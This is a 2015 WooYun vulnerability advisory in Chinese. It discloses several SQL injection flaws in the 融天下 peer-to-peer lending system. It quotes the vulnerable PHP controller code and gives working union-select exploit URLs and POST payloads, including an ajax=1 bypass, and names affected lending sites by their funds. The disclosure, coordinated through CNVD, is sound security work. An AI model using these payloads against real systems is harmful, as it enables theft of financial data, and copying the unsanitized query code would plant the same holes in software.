当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142177

漏洞标题:融天下网贷系统 5处sql注入打包。(可涉及大量资金安全)

相关厂商:融天下

漏洞作者: 路人甲

提交时间:2015-09-23 14:36

修复时间:2015-12-24 16:26

公开时间:2015-12-24 16:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-23: 细节已通知厂商并且等待厂商处理中
2015-09-25: 厂商已经确认,细节仅向厂商公开
2015-09-28: 细节向第三方安全合作伙伴开放
2015-11-19: 细节向核心白帽子及相关领域专家公开
2015-11-29: 细节向普通白帽子公开
2015-12-09: 细节向实习白帽子公开
2015-12-24: 细节向公众公开

简要描述:

rt

详细说明:

不要问我源码哪来的。。。这个涉及的资金量有点大- -
----------------------------------------
#1
/App/Lib/Action/M/UserAction.class.php

public function msg()
{
if($this->isAjax()){
$id = $this->_get('id');
$msg = M('inner_msg')->field('msg')->where('id='.$id.' and uid='.$this->uid)->find();
if(count($msg)){
M('inner_msg')->where('id='.$id)->save(array('status'=>1));
echo $msg['msg'];
}else{
echo '<font color=\'red\'>读取错误</font>';
}
}else{
$map['uid'] = $this->uid;
//分页处理
import("ORG.Util.Page");
$count = M('inner_msg')->where($map)->count('id');
$p = new Page($count, 15);
$page = $p->show();
$Lsql = "{$p->firstRow},{$p->listRows}";
//分页处理
$list = M('inner_msg')->where($map)->order('status asc,id DESC')->limit($Lsql)->select();
$this->assign("list",$list);
$this->assign("pagebar",$page);
$this->assign("count",$count);
$this->display();


this->_get id参数未经过滤带入了查询
跟到 isAjax()

function isAjax() {
if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
if('xmlhttprequest' == strtolower($_SERVER['HTTP_X_REQUESTED_WITH']))
return true;
}
if(!empty($_POST[C('VAR_AJAX_SUBMIT')]) || !empty($_GET[C('VAR_AJAX_SUBMIT')]))
// 判断Ajax方式提交
return true;
return false;
}


提交ajax=1 即可绕过。
exp:

m/user/msg.html?id=1 and 1=2 union select user()%23&ajax=1


#2
/App/Lib/Action/Home/EnterpriseAction.class.php

function select()
{
$model=M('enterprise');
$e_id=$_GET['e_id'];
//$this->Econfig = require C("APP_ROOT") . "Conf/enterprise_config.php";
$this->list=$model->where("e_id=".$e_id)->find();
$this->display();

}


很明显的注入了。$_GET['e_id']参数
exp:

home/Enterprise/select.html?e_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user(),19,20,21,22,23,24,25,26,27,28,29,30,31%23


#3
BorrowAction.class.php

function add_ajax()
{
$find=M("article")->where("id=".$_POST['id'])->field("art_keyword")->find();
echo $find['art_keyword'];
}


post id参数
exp:

home/borrow/add_ajax.html
post :
id=1 union select user()%23


#4
/App/Lib/Action/Home/BorrowAction.class.php

public function save(){
.......
if($borrow['borrow_type']==2){
$borrow['danbao']=$_POST['danbao'];
$borrow['huilv'] = M('article')->where("id=".$_POST['danbao'])->getField('art_keyword');
}
.....


danbao 参数
#5
App/Lib/Action/Home/LoanAction.class.php

function kdel()
{
$del=M('k_loan')->where("id=".$_GET['id'])->delete();
if($del)
{
$this->success("删除成功");
}else
{
$this->error("删除失败");
}
}


id 参数。不过这个在del里,不怎么好利用,开启debug的话 就报错注入,没开就 写脚本盲注吧。
#6
App/Lib/Action/Home/LoanAction.class.php

function idel()
{
$del=M('k_invest')->where("id=".$_GET['id'])->delete();
if($del)
{
$this->success("删除成功");
}else
{
$this->error("删除失败");
}
}


同上。
#7
App/Lib/Action/M/InvestAction.class.php

public function Invest()
{
if(!$this->uid){
if($this->isAjax()){
die("请先登录后投资");
}else{
$this->redirect('M/pub/login');
}
}
if($this->isAjax()){ // ajax提交投资信息

$borrow_id = intval($this->_get('bid'));
$invest_money = intval($this->_post('invest_money'));
$paypass = $this->_post('paypass');
$invest_pass = isset($_POST['invest_pass'])?$_POST['invest_pass']:'';
$status = checkInvest($this->uid, $borrow_id, $invest_money, $paypass, $invest_pass);
if($status == 'TRUE'){
$done = investMoney($this->uid,$borrow_id,$invest_money);
if($done === true){
die('TRUE');
}
elseif($done){
die($done);
}else{
die(L('investment_failure'));
}
}else{
die($status);
}
}else{
$borrow_id = $this->_get('bid');
$borrow_info = M("borrow_info")
->field('borrow_duration, borrow_money, borrow_interest, borrow_interest_rate, has_borrow,
borrow_min, borrow_max, password, repayment_type')
->where("id='{$borrow_id}'")
->find();
$this->assign('borrow_info', $borrow_info);

$user_info = M('member_money')
->field("account_money+back_money as money ")
->where("uid='{$this->uid}'")
->find();
$this->assign('user_info', $user_info);
$paypass = M("members")->field('pin_pass')->where('id='.$this->uid)->find();
$this->assign('paypass', $paypass['pin_pass']);
$this->display();
}
}
}


bid参数,这个注入就不应该了啊, 前面如果isAjax的话 intval了 ,但是如果不是 isajax的话 反而直接拼接sql了。

漏洞证明:

以官网所展示的成功案例为例。举出5个(基本每个都在百万以上了)
http://**.**.**.**/index.html

p1.png


#1 http://**.**.**.** 安银财富 累计资金 9764200.00元

p2.png


#2 http://**.**.**.** 苏中贷 累计资金 225852450.00元

p3.png


#3 http://**.**.**.** 19贷 放款总额 7197100.00元

p4.png


#4 http://**.**.**.** 车e贷 历史成交 3515100.00 元

p5.png


#5 http://**.**.**.** 京通贷

p6.png

修复方案:

不做全局的话, 变量一个个写就要认真写呀 - -

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-09-25 16:25

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无